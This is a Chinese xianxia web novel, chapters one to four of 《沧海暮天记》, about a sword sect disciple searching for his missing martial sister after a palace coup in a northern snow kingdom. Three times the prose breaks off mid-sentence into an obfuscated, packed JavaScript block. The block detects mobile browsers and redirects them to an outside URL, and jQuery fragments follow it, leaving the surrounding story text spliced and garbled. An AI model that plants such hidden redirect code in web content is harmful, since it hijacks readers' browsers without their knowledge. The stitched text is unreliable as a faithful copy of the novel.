《沧海暮天记》 1. 长阳雨 北境雪国,长阳城。 北境短暂的夏季里,雨下了一夜还未停。 雨声中,铁灰色的皇城一片寂静。宣阳门前无人,崇武门前无人,直到穿过昭华门,眼前豁然开朗,偌大的无极殿前,才满是来回的人影。 窸窸窣窣,间或有铁器碰撞的铿锵声。大雨在铁甲上拍出水花,禁军三两一组,将殿前广场上满地的尸体拖去。雨水掺着地上的血,顺着御路两侧哗哗流入地下。 一位伟岸的中年男子披着明黄的龙袍,站在无极殿檐下。 一个带刀的侍卫疾步走来,跪地施礼:“启禀陛下,长乐宫已经打扫好,可供陛下移驾。” “曲照仙师还没回来么?”他问。 随侍在一旁的老太监一下子把头垂得更低:“启禀陛下,仙师追乱贼出城,至今未归。” “无妨。”他道,“花沐雨挣出七杀阵已经是强弩之末,想必仙师很快就将凯旋。” 说话间,无极殿前的开阔广场已经渐渐打扫干净。身着黄袍的中年男子最后看了一眼,正转身欲走,紧闭的昭华门外却乍然传来三声叩门。 响亮的叩击和在一片雨声里,响彻空旷的皇城。 老太监浑身一抖,几欲瘫跪在地。中年男子瞥他一眼,便有人将老太监捂住嘴拖了下去。禁军统领一抬手,两队禁军快步冲下台阶,沿着甬道严阵以待。 守在昭华门口的禁军从门楼里推搡着揪出一个小黄门来。小黄门打着哆嗦,用尖细的调子高声问:“何人叩门!” 这声音绵延开去,无极殿前的禁军纷纷将手摁在刀鞘上。 “无意冒犯。”一道清越的男声从门外传来,“在下凛岳弟子曾卧雪,此次下界为寻人而来。家师往日叮嘱,凛岳常受雪国供奉,故在下先行前来拜访。” 禁军统领看向谢无过,中年男子略一思索:“请他进来。” “是。” 禁军统领朝门楼打了个手势。小黄门回头眼巴巴地看着身后的禁军,禁军以口型道:“开门。” 小黄门一缩脖子,点头哈腰地,忙回头大喊道:“原来是凛岳的仙师!不知仙师大驾光临,小的这就给您开门!” 沉重的昭华门缓缓拉开,逐渐显露出门外站着的人。 这样一看,倒是让人眼前一亮。 那是个高挑的年轻人,年纪不大,眉眼温柔,但看骨相有些不像中原人。 晨起天寒,他内着白色短打,腰间扎了根巴掌宽的墨色腰带,外面套着略长的黑色外袍,头上清清爽爽地扎了个髻,脚下蹬着皂靴,肩后露出两个很长的、用布裹着的包袱,看不出里面到底是什么东西。 年轻人身后跟着个身材魁梧的随从,一身木褐色的衣服,比他的身形大了一圈,戴着席帽,看不清面容,腰间挎着一柄巨剑,沉默地躬身站着,在青年头顶撑起一把伞。 宫门洞开,年轻人冲无极殿上遥遥拱手:“冒昧前来,多有叨扰,望谢皇见谅。” 距离这样远,年轻人又站在昭华门的阴影里,以平常人的目力着实看不真切。 “请仙师上殿前来。” 中年男子朗声道。 甬道两旁是铁甲森然的禁军,自称曾卧雪的年轻人手捧着凛岳弟子令,泰然走到无极殿前台阶下,再次施了一礼。 中年男子扫过一眼那令牌,沉声问:“不知仙师前来所为何事?” 他不查验,年轻人也未将令牌收起,仍捧着令牌,恭敬地道:“在下唐突到此,是来寻一人。” 中年男子觑着眼睛,问:“仙师是要寻何人?” “寻我师姐花沐雨。”曾卧雪道,“她约半个月前下界,和我差不多高,当是和我相似的打扮,行走时常戴一顶雪纱帏帽。” “花沐雨?” 中年男子乍然一笑,背过手去,问身边的禁军统领,“这半个月,长阳城中可有这样一位仙师到访?” 禁军统领垂首抱拳:“启禀陛下,未曾有过。” 于是中年男子转而问:“我们可是没见过呢。曾仙师,你找师姐,怎么会找到我雪国的皇宫里来?” 曾卧雪回答:“凛岳常年受贵国供奉,故而弟子下界,先来陛下宫中拜访。” 中年男子语气亲和:“难为你大老远寻来我北境,既然来了,不如在我皇城中稍作歇息吧?” 曾卧雪道:“多谢陛下好意,既然师姐不在此处,在下还得去他处继续找找。” 中年男子留了两次,俱被曾卧雪推脱了,大雨中,年轻人和同伴的身影缥缈而去。 无极殿前再次恢复空荡,中年男子望着曾卧雪离去的方向,勾唇一笑:“初生牛犊。” 两道身影落到长阳城外,回首望去,茫茫大雨里,长阳城城墙高耸、城门紧闭。 曾卧雪收回目光。 他很少下界,只跟师姐来过一次长阳,远远见过一次谢皇。师父说凛岳受雪国供奉,他就还是先到了长阳。他原打算借雪国皇室探听师姐的消息,谁知来到长阳城后怎么看怎么古怪。城中家家户户大门紧锁,街上鸦雀无声,皇宫外围两道宫墙,竟一个守军也没有,只有雨水中若隐若现的血腥味。 他不想招惹麻烦,但转念想到凛岳受谢氏供奉,理当护佑谢氏,如今城中古怪,若是谢氏遭难,自己不该冷眼旁观,于是还是继续往皇宫深处去了。 皇宫里也是空荡荡的,走到昭华门,才听见一些人声。他叩门询问,昭华门内气氛明显不对,但似乎纷争已定,谢皇确实安然无恙,他也没发现其他什么不对劲的地方。既已全了礼数,此处麻烦,还是尽早离开为妙。 就在他转身离开时,远处急促的马蹄踏在平整的官道上,一众身着黑甲的将士拥着一架车跨马而来。 与他们擦身而过,领头的人勒住了马。 “这不是燃灯的小徒弟么。”那人拨转马头,几步将已经走过去的曾卧雪拦下,“你怎么来了?” 曾卧雪抬头去看,那人用拂尘将斗笠顶开些许——斗笠下的年轻人面容俊朗,一双冷眼却含着挑衅,直直朝曾卧雪刺来。 曾卧雪不动声色,抱拳行礼:“见过曲照先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294781|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。弟子下山办事,路过长阳。” “哦?”马匹有些躁动,原地踏了几步,曲照握着缰绳,问,“所为何事?” “劳先生牵挂。”曾卧雪不欲多言,“不过是师门中一些琐事罢了。” 曲照居高临下地打量着他,半晌,又问:“是燃灯让你来的?” “确是师门之事。”曾卧雪垂头说道,“若先生无事,还请容弟子先行告退。虽是琐事,但也有些催得急。” “你真这就要走了吗?”曲照目光含煞。 曾卧雪躬身行礼:“请先生见谅。” 曲照嗤笑一声,挥鞭打马,越过曾卧雪,马蹄和车轮朝着长阳疾驰而去。 曾卧雪直起腰,望着远去的马车,不知为何心中隐隐有些不安。 车马一路疾入宫门。到了殿前,曲照翻身下马,走上无极殿。 将斗笠丢开,他懒洋洋地喊道:“谢皇陛下,贫道把你要的人带回来了。” 这位“谢皇”已经移驾殿内。穿过雨幕,他的视线落在那架马车上。 曲照来到他旁边,一挥拂尘,振开身上的雨水,对着下面道:“抬上来。” “是。” 禁军打开紧锁的马车门,将手伸进车里拖下一具尸体。他旁边的人上前来,扶住尸体的脚,和他一起把尸体抬到准备好的竹架上。两人一前一后抬着竹架来到无极殿阶下,将竹架放到了地上。 没人想着撑伞,不过几步路,竹架下缓缓浸出新的血色,把好不容易冲干净的地又染上了红。 中年男子道:“抬上殿来。” 那两人便又握住架杆,将竹架抬到殿前。 中年男子一招手,新换上来的小太监撑开一把明黄的伞。 雨珠咚咚地砸在伞布上,中年男子在尸体旁边缓缓蹲下,看了一会儿,问:“她的兵器呢?” 很快有人托着一只银枪和半截断剑呈了上来,中年男子用余光一扫,问:“没有别的了?” “启禀陛下,武英公主……”自知失言,那人慌忙跪下,“陛下恕罪。这逆贼身上只缴获了这两件兵器。” “另外半截剑呢?” 中年男子问。 那人叩首道:“启禀陛下,另外半截剑掉下山崖,可能已经落进了鬼集河。” 听得他们谈话的曲照在后面补充说:“知道你家功法特殊,半截残剑而已,我已经派人去找了。” “真是有劳仙师了。” 中年男子站起来,“来人,将这逆贼的尸首烧了,骨灰撒到城门前的官道上;兵器也融了,铸成城门的门钉。” “末将领命。” 竹架又被人抬走,颠簸中,尸体惨白的手从竹架边缘滑落,雨水连成串,顺着指尖流了下来。 中年男子揣着手,看着大雨里竹架渐渐远去,喃喃念了两声那具尸体生前的名字,仿佛念着一联诗的开头。 “花沐雨,谢艳红。” 他转身朝晦暗的无极殿中走去,身上是寂然无声的明黄龙袍。 “一霄冷雨葬名花啊。” 2. 旧时歌 出了长阳城往西,沿着官道走,约三里地处有个驿站。 曾卧雪矮身掀开门帘,身后一直为他撑伞的褐衣人将伞收起,灵光一闪,变做一个木雕的小人,挂回他的腰间。 雨天客少,小二坐在角落的桌椅后面打瞌睡。 曾卧雪自寻了一个靠着窗户的位置坐下,对着店内喊道:“有劳,一壶热水。” 被他这一声惊醒的小二匆匆去提水。柜台后,掌柜的眼神望过来,眯了一会儿的小二愈发殷勤,三下五除二擦好了桌子,摆上茶碗,为他斟上水,又把水壶放在一边。 “客官可要留宿?”小二道,“今儿这雨一时半会儿可难停,方圆十里就我们这一处歇脚的地方。这荒郊野岭的,您若连夜冒雨赶路,遇到危险可是不好。” 不抱希望,他还是问道:“小二哥,你可曾见过一个和我差不多高的女子,和我相似的打扮,行走时常戴一顶雪纱帏帽。” “没见过。”小二摇头。 “前面是宁远吗?”曾卧雪问。 “是宁远。”小二念叨着,“过了宁远就到了颐中;出了颐中就是蓝关。要再出了蓝关,过了平堂山,可就彻底离开雪国国境了。” “往北走呢?”曾卧雪又问。 “往北走是松连。”小二说,“不过松连可不近,离了我们这儿,还要走好几百里地呢!” 曾卧雪本打算先借皇室探寻一些师姐的消息,再循着消息继续寻找。不料计划被长阳城中怪异的气氛打乱,他无奈出城到此,一时失去方向。 看了看天色和雨势,他略一思索,问:“住宿多少钱?” “上房一两银子。”小二乐呵呵地答道。 挂在曾卧雪腰间的木偶光芒一闪,发出温和的男声:“一两银子,似乎有些贵了。” 小二新奇地看着这个会发声的小玩意儿,像是在跟主人家会说话的鹦鹉对话似的开口:“哎呦?一两银子还贵?你以为是十几年前呢?” 曾卧雪捂住木偶的眼睛,又问小二:“除了上房,还有别的吗?” 小二道:“我们这儿都是上房!” 曾卧雪想了想,还是抛给小二一锭银子:“一间上房。” “好嘞客官。”小二接了银子,欢欢喜喜地去了。 没了小二聒噪,四周一下子安静下来。 雨天果真人少,这么半晌过去,官道上就只走过一个背着背篓的和尚。 曾卧雪收回视线,想到自己没跟闭关的师父说一声就下山来找师姐,如今已到人间,还是要跟师父打个招呼,于是掏出一张信纸,问小二借了笔墨,提笔写道: 燃灯吾师, 恭请师安。 师姐下山半月未归,弟子向师姐传信亦久久未有回复,不由挂怀,故下界来寻师姐,寻到后自当与师姐一同回山,师尊请勿担忧。 另,昔日师尊曾说凛岳受人间雪国供奉,但弟子此次下山,见江流派曲照亲率雪国禁军,似与雪国皇室过从甚密,不知情况如何,还望师尊视下。 肃此, 弟子曾卧雪拜上 放下笔,曾卧雪将墨迹细细吹干,而后把信纸折成一只纸鹤,拢在手中吹了一口气。 掌心中的纸鹤散发出盈盈白光,扑棱棱扇了扇翅膀,自曾卧雪手中飞出,于空中徘徊几下便消失不见了。 自记事起,曾卧雪就在凛岳长大。 不像其他门派那样热热闹闹人丁兴旺,凛岳就只有他和师姐还有师父三个人。 小时候,师父带着他走过山脊,告诉他这几座山头曾经是凛岳的上三峰,这几座山头曾经是凛岳下五峰。“而今都荒废啦。”师父总爱这样感叹,然后带着他回到天烛峰去——那里既不属于上三峰也不属于下五峰,山顶只有一座高高的门生堂,他们师徒三人就住在门生堂旁边的几个偏殿里。 师父时常闭关,师姐偶尔下界,但是很少带他。他早习惯了天烛峰的清冷孤寂,若非师姐此次离开后十数日音书断绝,曾卧雪也不会私自下山——师姐这么长的时间一封信都不给他回,实属反常。他思前想后,到底放心不下,还是决定下界来找一找。 而今人海苍茫,一时之间,他竟不知从何找起。 他正想得出神,忽有细微的歌声从窗外传来。 “月儿明,风儿静,树叶儿遮窗棂……” 曾卧雪倏然回神,半惊半喜地往声音传来的方向看去,却只见一个年轻的女人带着一个小孩子,正站在驿站的屋檐下避雨。 许是赶路疲惫,小孩躺在年轻女人的臂弯里昏昏欲睡。那年轻的女人一边轻轻拍着孩子,一边哼着这支歌。 歌是同一支歌,但唱歌的人却不是他要找的那个人。收回目光,曾卧雪给自己倒了碗水,静静听了一阵。 不一会儿,孩子睡得熟了,那个年轻的女人收了声,将孩子的头轻轻扶起来,让他靠着自己的肩膀。 曾卧雪怕吵到孩子,朝窗外轻声地问:“这位姐姐,敢问你刚才唱的那首歌叫什么名字?” 年轻的女人转头看过来,见他问的是自己,便答道:“没什么名字,乡下人浑唱着哄孩子睡觉的。” “原来如此。”曾卧雪一笑,“之前也有人给我唱过,刚刚听你一哼,我就觉得熟悉。只是她唱得和你不太一样,你刚刚唱的是‘月儿明、风儿静’,她唱的是‘风儿静,月儿明’。” 年轻的女人道:“我们一般都是唱‘月儿明、风儿静’,我从没听人唱‘风儿静、月儿明’的。不过本就是浑唱的,词么,前后也没什么要紧,各人爱怎么唱就怎么唱了。” “您说的是。”曾卧雪应道。 见曾卧雪年纪不大又长得面善,抱着孩子的女人热情地多问了两句:“你是雪国哪里人啊?你这口音可一点儿都听不出来。” “我不是雪国人,”曾卧雪道,“只是赶路经过这里。” “哦,难怪,我说怎么听你口音不像本地人。”年轻的姐姐又道,“不过想必你家里人和雪国有点关系吧,不然你怎么听得到这首歌呢。” 曾卧雪一愣:“这首歌是只在北境才有么?” “那是的。”年轻的姐姐说,“反正我是没听南方人哄孩子的时候会唱这个。” 曾卧雪一时默然。年轻女人又问:“小哥,你这是要往哪边去?” “在北境内到处转一转吧。”曾卧雪说。 “哦,”她似懂非懂,“你这是做什么的?” “我来找人。”曾卧雪说着,又解释了一下,“就是刚刚跟你说过的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294782|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。你跟我说了这首歌,我才知道她可能出身雪国。还没谢谢您。我原本没什么头绪,但听你一说,我打算先在雪国境内找一找。” “雪国这么大的地方,要找一个人可不是那么好找的。”年轻的姐姐颇有些担忧地说,“你没给她寄封书信什么的吗?你们两个最好约一个地方见面,不然的话,人可是长腿会走的,万一她走了、你到了,你俩这不就错过了么?” 曾卧雪一笑:“就是书信不通,我才下来寻人的。” “那你不如去蓝关看看。”姐姐给他支招,“那边往来车马多,说不定就有人见过她呢。” 鬼集河。 连日山洪引下浑浊的河水,几辆马车在河边的官道上冒雨前行。 “这雨太大了!”卜芥掀了帘子,回过头来冲车里说,“在河边走这路太危险,我们得找个地方避避雨。” 车厢里是暖暖的药香,几个女孩子正凑在一起捻药信子。 “雨这么大么?”其中坐在窗边的那个听他这样说,掀开窗帘往外一望。这一眼,正看到江中有什么白影一闪而过。 她的神色一下子紧张起来:“你们快看,水里好像有个人!” “什么?” 卜芥找了两眼,没找到,立刻勒住缰绳。车厢里的人都挤到临河的那一侧,一齐往外看去。 “在那儿,在那儿!”另一个略有些胖乎乎的女孩子眼尖,一边用力拍着卜芥的胳膊,一边急急地给他指,“看到了么,就在那儿,刚刚露了个头,又被浪翻下去了!” “看到了。”卜芥立即拎起斗笠跳下车,又跟车里的人说道,“我去前面找师叔,你们别急,雨太大了,不用都下来。” 卜芥飞奔着追上前面的车,扒着车窗跟他们说了这边的情况。前面的车停了下来,从车上下来几个人,和卜芥一起朝河边跑去。 女孩子们焦急地看着。水流湍急,这一会儿工夫那白影已不知漂了多远。车队里的几个人往下游去追,没多久就看不见人影了。 “哎呀。”那个之前推卜芥的女孩子急得一跺脚,提起裙子就下了车。 “欸!广丹!” 女孩子灵活得像只小猫,别人想拦但没拦住。 看她下去,最开始发现人影的那个女孩子抓起针灸包,也跟着跳了下去,还不忘回头对还在车里的人吩咐:“你们看好马车!” 一下车,冷雨浇到身上,两人齐齐打了一个冷战,衣服瞬间湿透了。顾不上这么多,二人提着裙角,飞快往江边跑。 “出什么事了!”后面那几辆车上的人纷纷来问。 广丹回头冲他们喊道:“水里好像有人!” 赶到江边时,之前下车的人正在从河里拉人。 “情况怎么样!”隔着老远,广丹就大声问。 人被拖上了岸,一群人围了上去。主事的川连满脸雨水,托着那个人的脖子朝她们喊:“丹砂!快过来搭把手!” 拿着针灸包的小姑娘三步并作两步冲到近前,不顾满地的泥泞跪到落水之人身边,展开针灸包,在其他人的配合下手速飞快地在落水之人的几个穴位上施针。 几针下去,川连探了探那人的脉搏,略微松了一口气,转而对身边几人说道:“快把她送上车。” 3. 天涯知交半零落 眼前有红光忽明忽暗,仿佛七杀阵中的凶光再次扑面而来。 我怎么又没死。她这样想道。 “即便再光鲜亮丽,你也是个废物!”尖锐的控诉刺穿混沌的神志。下一瞬,“近处有人”这个认知仿佛在脑海中打了一个响笛,花沐雨下意识翻身将人摁住,也不知手上用了多大的狠劲儿。 直至视线逐渐清晰,从迷雾中挣脱的花沐雨认出一张痛苦挣扎的女孩子的脸。脑海中又是一个激灵,她像是被烫到,几乎是从那女孩身上弹起来一般逃开了。 “对不起,我不是有意的,你有没有事?”花沐雨连连说着抱歉,又慌忙过去扶着她,帮她拍着后背。 那女孩子还说不出话,只冲她摆了摆手。 “没事儿吧?”外面传来一道男声的询问。花沐雨警惕地转头,只看到微微摇晃的车帘。她这才发现自己是在一辆行驶的马车里,天已经放晴了,之前她看到的红光,不过是马车摇摇晃晃,一路上映在眼帘上的明明灭灭。 “没事儿。”那女孩终于缓过来,应了帘外的人一句,最后揉了揉喉咙,坐正了身体,满不在乎地对花沐雨说,“不用紧张,我知道你是好人。” 花沐雨失笑:“我差点把你掐死,你还说我是好人?” 女孩理了理被揉乱的鬓发:“你又不是故意的。” 这一句竟叫花沐雨听得愣住了,回过神来时又觉得自己可笑。不过是萍水相逢的小孩一句随口说来安慰她的话罢了,于是想起温柔姐姐的样子,笑着温声问道:“对不住。你叫什么名字,这里是哪里?” 那女孩扫了她一眼,道:“你别担心,我叫丹砂,是小南国的医修。” 说着,她撸起袖子,露出腕上的手环,在花沐雨眼前晃了晃。 那是一只一指宽的手环,银白色,上面密密地刻着一排排极不显眼的小字,挂在女孩纤细的手腕上,看起来略有些沉重。 花沐雨认得,那确实是小南国的信物。 小南国的人怎么会出现在此处? 花沐雨打量眼前的小姑娘。她不过十四五岁的样子,身着襦裙,头发梳成双鬟,浓黑的睫毛压着一双目光凛然的杏眼。一张鹅蛋脸,两颊有些还没消下去的婴儿肥。双唇丰润,但嘴角耷拉着,显出几分严厉与不悦。明明看起来还是个孩子,却浑身透着令人不敢进犯的气势。 没多说闲话,这位自称丹砂的姑娘径直搭上了花沐雨的手腕,片刻后说道:“还行。”又道,“车队已经过了长阳,正在宁远。你掉在鬼集河里,是我们救了你。” 原来如此。花沐雨逐渐放松,这才感觉到有一阵强烈疲乏从骨子里透了出来,仍强撑着精神道:“多谢丹砂姑娘救命之恩,如今我身无长物,不知该如何报答姑娘。” “你不累吗?”丹砂看着她,目光中流露出疑问,“凛岳就一个女弟子,你是花沐雨吧?” 花沐雨本该警醒,但身体里的疲惫叫她提不起精神,只喃喃地提醒,简直像是在说梦话:“我是谁都不要紧,你不要知道我是谁。姑娘,小南国救我一命,我无以为报,故而不得不叮嘱一句。我如今麻烦缠身,只怕你们知道后会引来祸端。过后我自会离开,还请姑娘和其他诸位小南国弟子就当没见过我这个人,也万勿对他人提起。” 丹砂想了想,从车厢后方的架子上取下一个琉璃盏,盏中扣住了满满一笼扑簌簌散发着白光的纸鹤。丹砂一指,对花沐雨道:“喏,都是找你的。” 花沐雨哑言。并不是人人都认识凛岳的传信纸鹤,但肯定有人认识凛岳的传信纸鹤;虽然收到凛岳的纸鹤也并不一定代表她就是凛岳弟子,但事已至此,似乎大家也都心照不宣,多说无益。 她暗自叹了一口气。如今她自身倒是没什么值得担心的,怕只怕小姑娘不懂事惹祸上身,于是忍不住一再强调:“我身上所系之事非同小可,哪怕是为了保护自己,也请姑娘和诸位小南国弟子不要声张。待痊愈后,我自会离开。” “你走不了。”丹砂道,“你没发现你现在动都动不得吗。” 自己的身体状况,花沐雨自然明白,她眼皮沉重得已经快要张不开眼了:“敢问姑娘,我大概多久才可恢复?” 丹砂并未回答:“你现在一点灵力都没有,与普通凡人无异,若要自由行动,还需疗养。”说着,丹砂放轻了声音,“别想了,睡一会儿吧。” 花沐雨略眨了眨眼,终究是一头扎进了黑甜梦乡之中。 见她睡倒,丹砂帮她调整好姿势,伸手从花沐雨头上取下一枚银针。 早在花沐雨暴起伤人时丹砂就刺了花沐雨的穴,也是没想到她竟能撑到此刻才倒下。这一睡没有四五个时辰醒不过来,丹砂点起火折子,给银针消完毒,又将银针收回包中,叮嘱赶车的卜芥道:“我先去师叔那边,你留意些车里的动静,有事叫我。” 车马声停下,载上一个人后又启程。 南星把座位上方的药草抽屉拿开,让丹砂贴着广丹坐下,又问:“她情况怎么样?” 丹砂顺手拿起一棵药草:“还行。” “真的是传说中的《万兵谱》吗?”广丹好奇地问。 “看她的筋骨表征,像是书上对《万兵谱》的描述。”丹砂手上动作不停,“不过人间界毫无灵气,虽然她以功法重塑了筋骨,但没有灵气补充,也不能完全恢复。” “她真的是凛岳的弟子啊?”广丹把头凑到大家中间,压低了声音说,“可是《万兵谱》不是北境的功法么?” “凛岳?”此前石耳不在,这还是他第一次听到那位女患者的来历,忍不住凑趣道,“就是那个有名的破落户,死得只剩三个人的凌虚第一剑宗?” “不得无礼。”川连斥道。 “哎呀,师叔你不用这样,大家都这么说,他们自己早都该习惯了。”石耳满不在乎地嚷道,“昔日他们大师兄林栉风在时还好,而今他们老大不知道怎么死了,剩下一个凑数的掌门,一个不敢露脸的女人,再加上一个窝囊废老三,还有什么能耐啊。” 川连冷下脸:“三百年前辟界一战,凛岳满门战死,只剩下如今的掌门燃灯。凛岳从无愧于三界第一剑宗之名,岂容你一个无知小儿聒噪?” 见川连真的生气了,石耳做个鬼脸,不敢再说了。 “千真万确是凛岳的二弟子,花沐雨?”南星有些担忧地问。 “应该是凛岳的人没错。”川连瞪了石耳一眼,继续细细地捻着草药,“这些天一股脑飞过来找她的都是凛岳的纸鹤,我探她灵脉走势,也确实是凛岳的功法。凛岳之前一向受北境的供奉,或许中间有什么我们不知道的内情。” “凛岳的二弟子修炼了北境功法《万兵谱》,然后又在长阳附近身陨,借此功法化生……”坐在丹砂对面的南星一边整理药信子,一边摇头,“一听就不是什么简单的事。” 川连道:“如今遇到凛岳的弟子,我们总归要保一保。马上出了蓝关,就离开北境了,我们低调行事,切莫声张,先等她恢复再说。” “她也不让我们透露她的行踪,说她如今麻烦缠身,怕我们也会惹上祸事。”丹砂飞快搓好一根药信子,放到中间的笸箩里。 “这一路我们加急赶路,从未遇过不相干的人,如今见过她真容的,也就我们队伍里的几个罢了。”川连吩咐石耳,“你约束好其他弟子,叫他们不必好奇,也不许议论宣扬。” 石耳领命,川连又对南星道:“传信到凛岳,就说我们偶然碰到其门下弟子花沐雨,而今她正在我们这里养伤,请燃灯师祖示下。”南星也应下了。 川连转而问丹砂:“你刚刚看她状况如何?” “还行。”丹砂还是那个回答,不过多说了两句,“如今她筋骨灵脉大体重塑完整,但化生一遭,精神消耗过俱,兼有心血郁结,若要完全恢复,恐怕还要几日。我刚刚给她扎了针,如今人已经睡下了,卜芥在看着。” 川连点头:“我们此行所带的药材适用于她的不多,之后途经蓝关,需再为她采买一些,你也要时常留意她的情况。” 说话间,南星已将大家这一会儿搓出来的药信子整理好,拿过去给川连看,“师叔,这些够了么?” 一排排药信子散发着药香,紧紧地码在药盒里。川连看了一眼:“再多准备些。扈陵此次的疫症来势汹汹,情况未明,有备无患。” “是。” 正说着,就听窗外传来醒目的锣声。 众人心中好奇,于是掀开窗帘,向外看去。 只见后方一人骑着快马,背上插着黄旗,手中敲着锣,正从官道那头打马而来:“天佑雪国,陛下圣安。太子谋逆,当场伏诛。艳朱公主,册皇太女!” 如此高喊着经过小南国的车队,那人勒马:“大胆!车内何人,为何听皇榜不跪!” “皇榜是什么?”广丹懵懵懂懂地问。 南星小声说:“就是人间皇帝发的告示。” 川连命车队停下,掀开车帘见礼道:“鄙人凌虚界小南国医修川连,携弟子前往扈陵。不知人间界习俗,还望大人见谅。” 那人见他们的气度和打扮,便知是误会一场,忙翻身下马,叩头请罪:“小人不知是仙师大驾,多有叨扰,请仙师恕罪。” 川连抬手:“不必多礼,大人请起。” 丹砂看到他马鞍上挂着信筒里装着明黄的纸卷,便说:“你发的是什么皇榜?能给我一个吗?” 皇榜原本就印了很多张,以供四处张贴。既是小仙娥问话,那人自是无有不可,忙起身从信筒里取出一张,双手捧到车前:“今早长阳八百里急报,天佑雪国,陛下圣安,太子谋逆,当场伏诛,另册艳朱公主为皇太女。” 丹砂接过皇榜:“多谢大人。” “仙娥言重了。”那人抱拳,“职责在身,便不多打扰仙师大驾了,小人告退。” 一场好觉睡醒,再睁眼时一片昏黑。枕边的琉璃盏内传来纸鹤扑扇翅膀的细小声音,花沐雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花沐雨一惊,完全没察觉何时有人过来。回头见是她,下意识问道:“这么晚了,你怎么还没歇息?”说完,便觉得自己管得太多,又回身拱手道,“我身体已经恢复,不便打扰,您就当没有见过我,我们就此别过吧。” 说完,花沐雨转身欲走,却被丹砂再次叫住。 “等等。”丹砂上前两步,将手里的纸卷递给花沐雨。花沐雨不解其意,还是接了过来。 “在你昏睡时,长阳的皇榜已经发到了宁远。前太子谋逆逼宫,已当场伏诛。谢皇立艳朱公主为皇太女,即日监国辅政。”丹砂拢了拢肩上的外衣,“我不懂人间的朝廷,也不知道你到底想做什么。但我知道你现在灵力全无,过去的你能做到的,现在的你未必能做到;过去的你做不到的,现在的你更加做不到。如今已经尘埃落定,你不如先在此养精蓄锐,再另做打算。” 枯木逢春小南国,小南国的《逢春决》中对《万兵谱》记载不多,只大概写了此为人间界北境雪国谢氏皇族先祖所开创的心法,非谢氏子弟无法修炼,修炼大成可借本命兵器死而化生。 丹砂看完皇榜的内容,当下心中便有了猜测,料想花沐雨恐怕是卷入了这一场宫廷政变,只是不知道她站的哪一方。 她猜到花沐雨醒来后会想要离开,便特意拿着皇榜等在此处。若是能把人留下最好,若是不能,也能趁机打探出一些什么,好让她再做打算。 说者无心,丹砂本意是想劝花沐雨谋定再动,却不知自己意外戳中了花沐雨的心结。 花沐雨展开皇榜,丹砂口中“尘埃落定”四个字砸在她心上,似乎那些未解的谜团和满腔的质问都已经不重要了。自己本就是个局外人,不管谁对谁错、真相如何,现在胜负已分、局势已定,时间无法倒流,已经死去的人不会活过来,她回去除了再掀起纷争,又能做什么呢?到底是太迟了。不知从哪一刻开始,一切就都已经太迟了。 见花沐雨对着皇榜默然,丹砂心知自己的话起效了,便说道:“你或许知道,扈陵爆发疫症,我们此行就是要去扈陵。你此前说过,承小南国救命之恩,不知如何回报,这话还算不算数?” 花沐雨抬眼看向丹砂。 丹砂继续道:“不如你随我们一起去扈陵吧,正好一边随我们治疗,一边留下来护送我们。你知道的,我们一群手无缚鸡之力的医修,行走人间多有不易。凛岳剑法独步天下,你虽没了灵力,但也总比我们强。我也不要你留多久,等我们到扈陵,就放你去做自己的事。如此也算报答了。” “灵枢针法战力虽不算顶尖,但总不至于无力自保。”花沐雨一笑,将皇榜重新卷起。这位小大夫虽然聪明,但到底还是小孩子。孩子话而已,又怎么能左右大人的想法、决定她的去留。 虽然不曾当真,花沐雨也不愿戳破孩子的烂漫,将皇榜交还,温声道:“太晚了,你先回去睡吧,我今天不走,留下守夜。不过要将我留下护送你们这事,还要考虑其他人的想法,等明早大家都醒了,我们再来定夺。” 丹砂皱起眉头:“你哄我?什么意思?觉得我说话不管用吗?” 花沐雨不欲争辩,笑着摸了摸她的头:“回去睡吧,明天再说。” 4. 长羡归飞鹤 曾卧雪听那日驿站中那位姐姐的话,先来蓝关碰碰运气。 人间界没有灵气,修仙之人的灵力消耗得不到补充,若不是自信灵力浩瀚无边,总还是要学着凡人的法子骑马赶路。 于是他在驿站买了马,从长阳一路向蓝关赶来。而今没有多远就到蓝关了,马跑累了闹脾气,曾卧雪索性下马,牵着马走在官道上。 四周荒无人烟,他的马耷拉着头,打了个响鼻,不耐烦地抖着耳朵,口中还嚼着从路边叼下来的草。 这样慢悠悠地走了一会儿,便能望到蓝关城的城墙。官道边休息着一个车队,车队中几十辆马车,几个年轻的男女在车队边生着火煮东西,锅里散发出阵阵药香。 他没有多看,一眼没找到自己想找的人,便路过车队,往城门那边走去了。 排队入了城,曾卧雪在街上走着,目光扫过街道两侧的牌匾,想要寻个客栈落脚。余光中,忽然见到前头一只包裹在盈盈白光中的纸鹤随风而来。 他伸出手去,那纸鹤却绕过他的指尖。曾卧雪诧异地回头,只见身后不远处有一男一女,女的伸手让纸鹤停在手上,见他看过来,不好意思地笑笑。 